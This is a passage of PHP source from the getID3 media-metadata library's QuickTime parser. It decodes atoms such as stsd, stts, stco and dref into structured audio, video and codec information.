					// Code by ubergeekØubergeek*tv based on information from
					// http://developer.apple.com/quicktime/icefloe/dispatch012.html
					$atom_structure['unCompressedSize'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 4));

					$CompressedFileData = substr($atom_data, 4);
					if ($UncompressedHeader = @gzuncompress($CompressedFileData)) {
						$atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($UncompressedHeader, 0, $atomHierarchy, $ParseAllPossibleAtoms);
					} else {
						$this->warning('Error decompressing compressed MOV atom at offset '.$atom_structure['offset']);
					}
					break;


				case 'dcom': // Data COMpression atom
					$atom_structure['compression_id']   = $atom_data;
					$atom_structure['compression_text'] = $this->QuicktimeDCOMLookup($atom_data);
					break;


				case 'rdrf': // Reference movie Data ReFerence atom
					$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3));
					$atom_structure['flags']['internal_data'] = (bool) ($atom_structure['flags_raw'] & 0x000001);

					$atom_structure['reference_type_name']    =                           substr($atom_data,  4, 4);
					$atom_structure['reference_length']       = getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
					switch ($atom_structure['reference_type_name']) {
						case 'url ':
							$atom_structure['url']            =       $this->NoNullString(substr($atom_data, 12));
							break;

						case 'alis':
							$atom_structure['file_alias']     =                           substr($atom_data, 12);
							break;

						case 'rsrc':
							$atom_structure['resource_alias'] =                           substr($atom_data, 12);
							break;

						default:
							$atom_structure['data']           =                           substr($atom_data, 12);
							break;
					}
					break;


				case 'rmqu': // Reference Movie QUality atom
					$atom_structure['movie_quality'] = getid3_lib::BigEndian2Int($atom_data);
					break;


				case 'rmcs': // Reference Movie Cpu Speed atom
					$atom_structure['version']          = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']        = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['cpu_speed_rating'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2));
					break;


				case 'rmvc': // Reference Movie Version Check atom
					$atom_structure['version']            = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']          = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['gestalt_selector']   =                           substr($atom_data,  4, 4);
					$atom_structure['gestalt_value_mask'] = getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
					$atom_structure['gestalt_value']      = getid3_lib::BigEndian2Int(substr($atom_data, 12, 4));
					$atom_structure['gestalt_check_type'] = getid3_lib::BigEndian2Int(substr($atom_data, 14, 2));
					break;


				case 'rmcd': // Reference Movie Component check atom
					$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['component_type']         =                           substr($atom_data,  4, 4);
					$atom_structure['component_subtype']      =                           substr($atom_data,  8, 4);
					$atom_structure['component_manufacturer'] =                           substr($atom_data, 12, 4);
					$atom_structure['component_flags_raw']    = getid3_lib::BigEndian2Int(substr($atom_data, 16, 4));
					$atom_structure['component_flags_mask']   = getid3_lib::BigEndian2Int(substr($atom_data, 20, 4));
					$atom_structure['component_min_version']  = getid3_lib::BigEndian2Int(substr($atom_data, 24, 4));
					break;


				case 'rmdr': // Reference Movie Data Rate atom
					$atom_structure['version']       = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']     = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['data_rate']     = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));

					$atom_structure['data_rate_bps'] = $atom_structure['data_rate'] * 10;
					break;


				case 'rmla': // Reference Movie Language Atom
					$atom_structure['version']     = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']   = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['language_id'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2));

					$atom_structure['language']    = $this->QuicktimeLanguageLookup($atom_structure['language_id']);
					if (empty($info['comments']['language']) || (!in_array($atom_structure['language'], $info['comments']['language']))) {
						$info['comments']['language'][] = $atom_structure['language'];
					}
					break;


				case 'ptv ': // Print To Video - defines a movie's full screen mode
					// http://developer.apple.com/documentation/QuickTime/APIREF/SOURCESIV/at_ptv-_pg.htm
					$atom_structure['display_size_raw']  = getid3_lib::BigEndian2Int(substr($atom_data, 0, 2));
					$atom_structure['reserved_1']        = getid3_lib::BigEndian2Int(substr($atom_data, 2, 2)); // hardcoded: 0x0000
					$atom_structure['reserved_2']        = getid3_lib::BigEndian2Int(substr($atom_data, 4, 2)); // hardcoded: 0x0000
					$atom_structure['slide_show_flag']   = getid3_lib::BigEndian2Int(substr($atom_data, 6, 1));
					$atom_structure['play_on_open_flag'] = getid3_lib::BigEndian2Int(substr($atom_data, 7, 1));

					$atom_structure['flags']['play_on_open'] = (bool) $atom_structure['play_on_open_flag'];
					$atom_structure['flags']['slide_show']   = (bool) $atom_structure['slide_show_flag'];

					$ptv_lookup = array(
						0 => 'normal',
						1 => 'double',
						2 => 'half',
						3 => 'full',
						4 => 'current'
					);
					if (isset($ptv_lookup[$atom_structure['display_size_raw']])) {
						$atom_structure['display_size'] = $ptv_lookup[$atom_structure['display_size_raw']];
					} else {
						$this->warning('unknown "ptv " display constant ('.$atom_structure['display_size_raw'].')');
					}
					break;


				case 'stsd': // Sample Table Sample Description atom
					$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1)); // hardcoded: 0x00
					$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x000000
					$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));

					// see: https://github.com/JamesHeinrich/getID3/issues/111
					// Some corrupt files have been known to have high bits set in the number_entries field
					// This field shouldn't really need to be 32-bits, values stores are likely in the range 1-100000
					// Workaround: mask off the upper byte and throw a warning if it's nonzero
					if ($atom_structure['number_entries'] > 0x000FFFFF) {
						if ($atom_structure['number_entries'] > 0x00FFFFFF) {
							$this->warning('"stsd" atom contains improbably large number_entries (0x'.getid3_lib::PrintHexBytes(substr($atom_data, 4, 4), true, false).' = '.$atom_structure['number_entries'].'), probably in error. Ignoring upper byte and interpreting this as 0x'.getid3_lib::PrintHexBytes(substr($atom_data, 5, 3), true, false).' = '.($atom_structure['number_entries'] & 0x00FFFFFF));
							$atom_structure['number_entries'] = ($atom_structure['number_entries'] & 0x00FFFFFF);
						} else {
							$this->warning('"stsd" atom contains improbably large number_entries (0x'.getid3_lib::PrintHexBytes(substr($atom_data, 4, 4), true, false).' = '.$atom_structure['number_entries'].'), probably in error. Please report this to info@getid3.org referencing bug report #111');
						}
					}

					$stsdEntriesDataOffset = 8;
					for ($i = 0; $i < (int) $atom_structure['number_entries']; $i++) {
						$atom_structure['sample_description_table'][$i]['size']             = getid3_lib::BigEndian2Int(substr($atom_data, $stsdEntriesDataOffset, 4));
						$stsdEntriesDataOffset += 4;
						$atom_structure['sample_description_table'][$i]['data_format']      =                           substr($atom_data, $stsdEntriesDataOffset, 4);
						$stsdEntriesDataOffset += 4;
						$atom_structure['sample_description_table'][$i]['reserved']         = getid3_lib::BigEndian2Int(substr($atom_data, $stsdEntriesDataOffset, 6));
						$stsdEntriesDataOffset += 6;
						$atom_structure['sample_description_table'][$i]['reference_index']  = getid3_lib::BigEndian2Int(substr($atom_data, $stsdEntriesDataOffset, 2));
						$stsdEntriesDataOffset += 2;
						$atom_structure['sample_description_table'][$i]['data']             =                           substr($atom_data, $stsdEntriesDataOffset, ($atom_structure['sample_description_table'][$i]['size'] - 4 - 4 - 6 - 2));
						$stsdEntriesDataOffset += ($atom_structure['sample_description_table'][$i]['size'] - 4 - 4 - 6 - 2);
						if (substr($atom_structure['sample_description_table'][$i]['data'],  1, 54) == 'application/octet-stream;type=com.parrot.videometadata') {
							// special handling for apparently-malformed (TextMetaDataSampleEntry?) data for some version of Parrot drones
							$atom_structure['sample_description_table'][$i]['parrot_frame_metadata']['mime_type']        =       substr($atom_structure['sample_description_table'][$i]['data'],  1, 55);
							$atom_structure['sample_description_table'][$i]['parrot_frame_metadata']['metadata_version'] = (int) substr($atom_structure['sample_description_table'][$i]['data'], 55,  1);
							unset($atom_structure['sample_description_table'][$i]['data']);
$this->warning('incomplete/incorrect handling of "stsd" with Parrot metadata in this version of getID3() ['.$this->getid3->version().']');
							continue;
						}

						$atom_structure['sample_description_table'][$i]['encoder_version']  = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'],  0, 2));
						$atom_structure['sample_description_table'][$i]['encoder_revision'] = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'],  2, 2));
						$atom_structure['sample_description_table'][$i]['encoder_vendor']   =                           substr($atom_structure['sample_description_table'][$i]['data'],  4, 4);

						switch ($atom_structure['sample_description_table'][$i]['encoder_vendor']) {

							case "\x00\x00\x00\x00":
								// audio tracks
								$atom_structure['sample_description_table'][$i]['audio_channels']       =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'],  8,  2));
								$atom_structure['sample_description_table'][$i]['audio_bit_depth']      =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 10,  2));
								$atom_structure['sample_description_table'][$i]['audio_compression_id'] =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 12,  2));
								$atom_structure['sample_description_table'][$i]['audio_packet_size']    =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 14,  2));
								$atom_structure['sample_description_table'][$i]['audio_sample_rate']    = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], 16,  4));

								// video tracks
								// http://developer.apple.com/library/mac/#documentation/QuickTime/QTFF/QTFFChap3/qtff3.html
								// https://developer.apple.com/documentation/quicktime-file-format
								$STSDvOffset = 8;
								$atom_structure['sample_description_table'][$i]['temporal_quality'] =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], $STSDvOffset,  4)); $STSDvOffset +=  4;
								$atom_structure['sample_description_table'][$i]['spatial_quality']  =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], $STSDvOffset,  4)); $STSDvOffset +=  4;
								$atom_structure['sample_description_table'][$i]['width']            =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], $STSDvOffset,  2)); $STSDvOffset +=  2;
								$atom_structure['sample_description_table'][$i]['height']           =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], $STSDvOffset,  2)); $STSDvOffset +=  2;
								$atom_structure['sample_description_table'][$i]['resolution_x']     = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], $STSDvOffset,  4)); $STSDvOffset +=  4;
								$atom_structure['sample_description_table'][$i]['resolution_y']     = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], $STSDvOffset,  4)); $STSDvOffset +=  4;
								$atom_structure['sample_description_table'][$i]['data_size']        =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], $STSDvOffset,  4)); $STSDvOffset +=  4;
								$atom_structure['sample_description_table'][$i]['frame_count']      =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], $STSDvOffset,  2)); $STSDvOffset +=  2;
								$atom_structure['sample_description_table'][$i]['compressor_name']  =                             substr($atom_structure['sample_description_table'][$i]['data'], $STSDvOffset, 32) ; $STSDvOffset += 32;
								$atom_structure['sample_description_table'][$i]['compressor_name'] = $this->MaybePascal2String(rtrim($atom_structure['sample_description_table'][$i]['compressor_name'], "\x00")); // https://github.com/JamesHeinrich/getID3/issues/452
								$atom_structure['sample_description_table'][$i]['pixel_depth']      =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], $STSDvOffset,  2)); $STSDvOffset +=  2;
								$atom_structure['sample_description_table'][$i]['color_table_id']   =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], $STSDvOffset,  2)); $STSDvOffset +=  2;

								switch ($atom_structure['sample_description_table'][$i]['data_format']) {
									case '2vuY':
									case 'avc1':
									case 'cvid':
									case 'dvc ':
									case 'dvcp':
									case 'gif ':
									case 'h263':
									case 'hvc1':
									case 'jpeg':
									case 'kpcd':
									case 'mjpa':
									case 'mjpb':
									case 'mp4v':
									case 'png ':
									case 'raw ':
									case 'rle ':
									case 'rpza':
									case 'smc ':
									case 'SVQ1':
									case 'SVQ3':
									case 'tiff':
									case 'v210':
									case 'v216':
									case 'v308':
									case 'v408':
									case 'v410':
									case 'yuv2':
										$info['fileformat'] = 'mp4';
										$info['video']['fourcc'] = $atom_structure['sample_description_table'][$i]['data_format'];
										if ($this->QuicktimeVideoCodecLookup($info['video']['fourcc'])) {
											$info['video']['fourcc_lookup'] = $this->QuicktimeVideoCodecLookup($info['video']['fourcc']);
										}

										// https://www.getid3.org/phpBB3/viewtopic.php?t=1550
										//if ((!empty($atom_structure['sample_description_table'][$i]['width']) && !empty($atom_structure['sample_description_table'][$i]['width'])) && (empty($info['video']['resolution_x']) || empty($info['video']['resolution_y']) || (number_format($info['video']['resolution_x'], 6) != number_format(round($info['video']['resolution_x']), 6)) || (number_format($info['video']['resolution_y'], 6) != number_format(round($info['video']['resolution_y']), 6)))) { // ugly check for floating point numbers
										if (!empty($atom_structure['sample_description_table'][$i]['width']) && !empty($atom_structure['sample_description_table'][$i]['height'])) {
											// assume that values stored here are more important than values stored in [tkhd] atom
											$info['video']['resolution_x'] = $atom_structure['sample_description_table'][$i]['width'];
											$info['video']['resolution_y'] = $atom_structure['sample_description_table'][$i]['height'];
											$info['quicktime']['video']['resolution_x'] = $info['video']['resolution_x'];
											$info['quicktime']['video']['resolution_y'] = $info['video']['resolution_y'];
										}
										break;

									case 'qtvr':
										$info['video']['dataformat'] = 'quicktimevr';
										break;

									case 'mp4a':
										$atom_structure['sample_description_table'][$i]['subatoms'] = $this->QuicktimeParseContainerAtom(substr($atom_structure['sample_description_table'][$i]['data'], 20), $baseoffset + $stsdEntriesDataOffset - 20 - 16, $atomHierarchy, $ParseAllPossibleAtoms);

										$info['quicktime']['audio']['codec']       = $this->QuicktimeAudioCodecLookup($atom_structure['sample_description_table'][$i]['data_format']);
										$info['quicktime']['audio']['sample_rate'] = $atom_structure['sample_description_table'][$i]['audio_sample_rate'];
										$info['quicktime']['audio']['channels']    = $atom_structure['sample_description_table'][$i]['audio_channels'];
										$info['quicktime']['audio']['bit_depth']   = $atom_structure['sample_description_table'][$i]['audio_bit_depth'];
										$info['audio']['codec']                    = $info['quicktime']['audio']['codec'];
										$info['audio']['sample_rate']              = $info['quicktime']['audio']['sample_rate'];
										$info['audio']['channels']                 = $info['quicktime']['audio']['channels'];
										$info['audio']['bits_per_sample']          = $info['quicktime']['audio']['bit_depth'];
										switch ($atom_structure['sample_description_table'][$i]['data_format']) {
											case 'raw ': // PCM
											case 'alac': // Apple Lossless Audio Codec
											case 'sowt': // signed/two's complement (Little Endian)
											case 'twos': // signed/two's complement (Big Endian)
											case 'in24': // 24-bit Integer
											case 'in32': // 32-bit Integer
											case 'fl32': // 32-bit Floating Point
											case 'fl64': // 64-bit Floating Point
												$info['audio']['lossless'] = $info['quicktime']['audio']['lossless'] = true;
												$info['audio']['bitrate']  = $info['quicktime']['audio']['bitrate']  = $info['audio']['channels'] * $info['audio']['bits_per_sample'] * $info['audio']['sample_rate'];
												break;
											default:
												$info['audio']['lossless'] = false;
												break;
										}
										break;

									default:
										break;
								}
								break;

							default:
								switch ($atom_structure['sample_description_table'][$i]['data_format']) {
									case 'mp4s':
										$info['fileformat'] = 'mp4';
										break;

									default:
										// video atom
										$atom_structure['sample_description_table'][$i]['video_temporal_quality']  =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'],  8,  4));
										$atom_structure['sample_description_table'][$i]['video_spatial_quality']   =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 12,  4));
										$atom_structure['sample_description_table'][$i]['video_frame_width']       =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 16,  2));
										$atom_structure['sample_description_table'][$i]['video_frame_height']      =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 18,  2));
										$atom_structure['sample_description_table'][$i]['video_resolution_x']      = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], 20,  4));
										$atom_structure['sample_description_table'][$i]['video_resolution_y']      = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], 24,  4));
										$atom_structure['sample_description_table'][$i]['video_data_size']         =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 28,  4));
										$atom_structure['sample_description_table'][$i]['video_frame_count']       =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 32,  2));
										$atom_structure['sample_description_table'][$i]['video_encoder_name_len']  =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 34,  1));
										$atom_structure['sample_description_table'][$i]['video_encoder_name']      =                             substr($atom_structure['sample_description_table'][$i]['data'], 35, $atom_structure['sample_description_table'][$i]['video_encoder_name_len']);
										$atom_structure['sample_description_table'][$i]['video_pixel_color_depth'] =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 66,  2));
										$atom_structure['sample_description_table'][$i]['video_color_table_id']    =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 68,  2));

										$atom_structure['sample_description_table'][$i]['video_pixel_color_type']  = (((int) $atom_structure['sample_description_table'][$i]['video_pixel_color_depth'] > 32) ? 'grayscale' : 'color');
										$atom_structure['sample_description_table'][$i]['video_pixel_color_name']  = $this->QuicktimeColorNameLookup($atom_structure['sample_description_table'][$i]['video_pixel_color_depth']);

										if ($atom_structure['sample_description_table'][$i]['video_pixel_color_name'] != 'invalid') {
											$info['quicktime']['video']['codec_fourcc']        = $atom_structure['sample_description_table'][$i]['data_format'];
											$info['quicktime']['video']['codec_fourcc_lookup'] = $this->QuicktimeVideoCodecLookup($atom_structure['sample_description_table'][$i]['data_format']);
											$info['quicktime']['video']['codec']               = (((int) $atom_structure['sample_description_table'][$i]['video_encoder_name_len'] > 0) ? $atom_structure['sample_description_table'][$i]['video_encoder_name'] : $atom_structure['sample_description_table'][$i]['data_format']);
											$info['quicktime']['video']['color_depth']         = $atom_structure['sample_description_table'][$i]['video_pixel_color_depth'];
											$info['quicktime']['video']['color_depth_name']    = $atom_structure['sample_description_table'][$i]['video_pixel_color_name'];

											$info['video']['codec']           = $info['quicktime']['video']['codec'];
											$info['video']['bits_per_sample'] = $info['quicktime']['video']['color_depth'];
										}
										$info['video']['lossless']           = false;
										$info['video']['pixel_aspect_ratio'] = (float) 1;
										break;
								}
								break;
						}
						switch (strtolower($atom_structure['sample_description_table'][$i]['data_format'])) {
							case 'mp4a':
								$info['audio']['dataformat']         = 'mp4';
								$info['quicktime']['audio']['codec'] = 'mp4';
								break;

							case '3ivx':
							case '3iv1':
							case '3iv2':
								$info['video']['dataformat'] = '3ivx';
								break;

							case 'xvid':
								$info['video']['dataformat'] = 'xvid';
								break;

							case 'mp4v':
								$info['video']['dataformat'] = 'mpeg4';
								break;

							case 'divx':
							case 'div1':
							case 'div2':
							case 'div3':
							case 'div4':
							case 'div5':
							case 'div6':
								$info['video']['dataformat'] = 'divx';
								break;

							default:
								// do nothing
								break;
						}
						unset($atom_structure['sample_description_table'][$i]['data']);
					}
					break;


				case 'stts': // Sample Table Time-to-Sample atom
					$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
					$sttsEntriesDataOffset = 8;
					//$FrameRateCalculatorArray = array();
					$frames_count = 0;

					$max_stts_entries_to_scan = ($info['php_memory_limit'] ? min(floor($this->getid3->memory_limit / 10000), $atom_structure['number_entries']) : $atom_structure['number_entries']);
					if ($max_stts_entries_to_scan < $atom_structure['number_entries']) {
						$this->warning('QuickTime atom "stts" has '.$atom_structure['number_entries'].' but only scanning the first '.$max_stts_entries_to_scan.' entries due to limited PHP memory available ('.floor($this->getid3->memory_limit / 1048576).'MB).');
					}
					for ($i = 0; $i < $max_stts_entries_to_scan; $i++) {
						$atom_structure['time_to_sample_table'][$i]['sample_count']    = getid3_lib::BigEndian2Int(substr($atom_data, $sttsEntriesDataOffset, 4));
						$sttsEntriesDataOffset += 4;
						$atom_structure['time_to_sample_table'][$i]['sample_duration'] = getid3_lib::BigEndian2Int(substr($atom_data, $sttsEntriesDataOffset, 4));
						$sttsEntriesDataOffset += 4;

						$frames_count += $atom_structure['time_to_sample_table'][$i]['sample_count'];

						// THIS SECTION REPLACED WITH CODE IN "stbl" ATOM
						//if (!empty($info['quicktime']['time_scale']) && ($atom_structure['time_to_sample_table'][$i]['sample_duration'] > 0)) {
						//	$stts_new_framerate = $info['quicktime']['time_scale'] / $atom_structure['time_to_sample_table'][$i]['sample_duration'];
						//	if ($stts_new_framerate <= 60) {
						//		// some atoms have durations of "1" giving a very large framerate, which probably is not right
						//		$info['video']['frame_rate'] = max($info['video']['frame_rate'], $stts_new_framerate);
						//	}
						//}
						//
						//$FrameRateCalculatorArray[($info['quicktime']['time_scale'] / $atom_structure['time_to_sample_table'][$i]['sample_duration'])] += $atom_structure['time_to_sample_table'][$i]['sample_count'];
					}
					$info['quicktime']['stts_framecount'][] = $frames_count;
					//$sttsFramesTotal  = 0;
					//$sttsSecondsTotal = 0;
					//foreach ($FrameRateCalculatorArray as $frames_per_second => $frame_count) {
					//	if (($frames_per_second > 60) || ($frames_per_second < 1)) {
					//		// not video FPS information, probably audio information
					//		$sttsFramesTotal  = 0;
					//		$sttsSecondsTotal = 0;
					//		break;
					//	}
					//	$sttsFramesTotal  += $frame_count;
					//	$sttsSecondsTotal += $frame_count / $frames_per_second;
					//}
					//if (($sttsFramesTotal > 0) && ($sttsSecondsTotal > 0)) {
					//	if (($sttsFramesTotal / $sttsSecondsTotal) > $info['video']['frame_rate']) {
					//		$info['video']['frame_rate'] = $sttsFramesTotal / $sttsSecondsTotal;
					//	}
					//}
					break;


				case 'stss': // Sample Table Sync Sample (key frames) atom
					if ($ParseAllPossibleAtoms) {
						$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
						$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
						$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
						$stssEntriesDataOffset = 8;
						for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
							$atom_structure['time_to_sample_table'][$i] = getid3_lib::BigEndian2Int(substr($atom_data, $stssEntriesDataOffset, 4));
							$stssEntriesDataOffset += 4;
						}
					}
					break;


				case 'stsc': // Sample Table Sample-to-Chunk atom
					if ($ParseAllPossibleAtoms) {
						$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
						$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
						$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
						$stscEntriesDataOffset = 8;
						for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
							$atom_structure['sample_to_chunk_table'][$i]['first_chunk']        = getid3_lib::BigEndian2Int(substr($atom_data, $stscEntriesDataOffset, 4));
							$stscEntriesDataOffset += 4;
							$atom_structure['sample_to_chunk_table'][$i]['samples_per_chunk']  = getid3_lib::BigEndian2Int(substr($atom_data, $stscEntriesDataOffset, 4));
							$stscEntriesDataOffset += 4;
							$atom_structure['sample_to_chunk_table'][$i]['sample_description'] = getid3_lib::BigEndian2Int(substr($atom_data, $stscEntriesDataOffset, 4));
							$stscEntriesDataOffset += 4;
						}
					}
					break;


				case 'stsz': // Sample Table SiZe atom
					if ($ParseAllPossibleAtoms) {
						$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
						$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
						$atom_structure['sample_size']    = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
						$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
						$stszEntriesDataOffset = 12;
						if ($atom_structure['sample_size'] == 0) {
							for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
								$atom_structure['sample_size_table'][$i] = getid3_lib::BigEndian2Int(substr($atom_data, $stszEntriesDataOffset, 4));
								$stszEntriesDataOffset += 4;
							}
						}
					}
					break;


				case 'stco': // Sample Table Chunk Offset atom
//					if (true) {
					if ($ParseAllPossibleAtoms) {
						$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
						$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
						$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
						$stcoEntriesDataOffset = 8;
						for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
							$atom_structure['chunk_offset_table'][$i] = getid3_lib::BigEndian2Int(substr($atom_data, $stcoEntriesDataOffset, 4));
							$stcoEntriesDataOffset += 4;
						}
					}
					break;


				case 'co64': // Chunk Offset 64-bit (version of "stco" that supports > 2GB files)
					if ($ParseAllPossibleAtoms) {
						$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
						$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
						$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
						$stcoEntriesDataOffset = 8;
						for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
							$atom_structure['chunk_offset_table'][$i] = getid3_lib::BigEndian2Int(substr($atom_data, $stcoEntriesDataOffset, 8));
							$stcoEntriesDataOffset += 8;
						}
					}
					break;


				case 'dref': // Data REFerence atom
					$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
					$drefDataOffset = 8;
					for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
						$atom_structure['data_references'][$i]['size']                    = getid3_lib::BigEndian2Int(substr($atom_data, $drefDataOffset, 4));
						$drefDataOffset += 4;
						$atom_structure['data_references'][$i]['type']                    =                           substr($atom_data, $drefDataOffset, 4);
						$drefDataOffset += 4;
						$atom_structure['data_references'][$i]['version']                 = getid3_lib::BigEndian2Int(substr($atom_data,  $drefDataOffset, 1));
						$drefDataOffset += 1;
						$atom_structure['data_references'][$i]['flags_raw']               = getid3_lib::BigEndian2Int(substr($atom_data,  $drefDataOffset, 3)); // hardcoded: 0x0000
						$drefDataOffset += 3;
						$atom_structure['data_references'][$i]['data']                    =                           substr($atom_data, $drefDataOffset, ($atom_structure['data_references'][$i]['size'] - 4 - 4 - 1 - 3));
						$drefDataOffset += ($atom_structure['data_references'][$i]['size'] - 4 - 4 - 1 - 3);

						$atom_structure['data_references'][$i]['flags']['self_reference'] = (bool) ($atom_structure['data_references'][$i]['flags_raw'] & 0x001);
					}
					break;


				case 'gmin': // base Media INformation atom
					$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['graphics_mode']          = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2));
					$atom_structure['opcolor_red']            = getid3_lib::BigEndian2Int(substr($atom_data,  6, 2));
					$atom_structure['opcolor_green']          = getid3_lib::BigEndian2Int(substr($atom_data,  8, 2));
					$atom_structure['opcolor_blue']           = getid3_lib::BigEndian2Int(substr($atom_data, 10, 2));
					$atom_structure['balance']                = getid3_lib::BigEndian2Int(substr($atom_data, 12, 2));
					$atom_structure['reserved']               = getid3_lib::BigEndian2Int(substr($atom_data, 14, 2));
					break;


				case 'smhd': // Sound Media information HeaDer atom
					$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['balance']                = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2));
					$atom_structure['reserved']               = getid3_lib::BigEndian2Int(substr($atom_data,  6, 2));
					break;


				case 'vmhd': // Video Media information HeaDer atom
					$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3));
					$atom_structure['graphics_mode']          = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2));
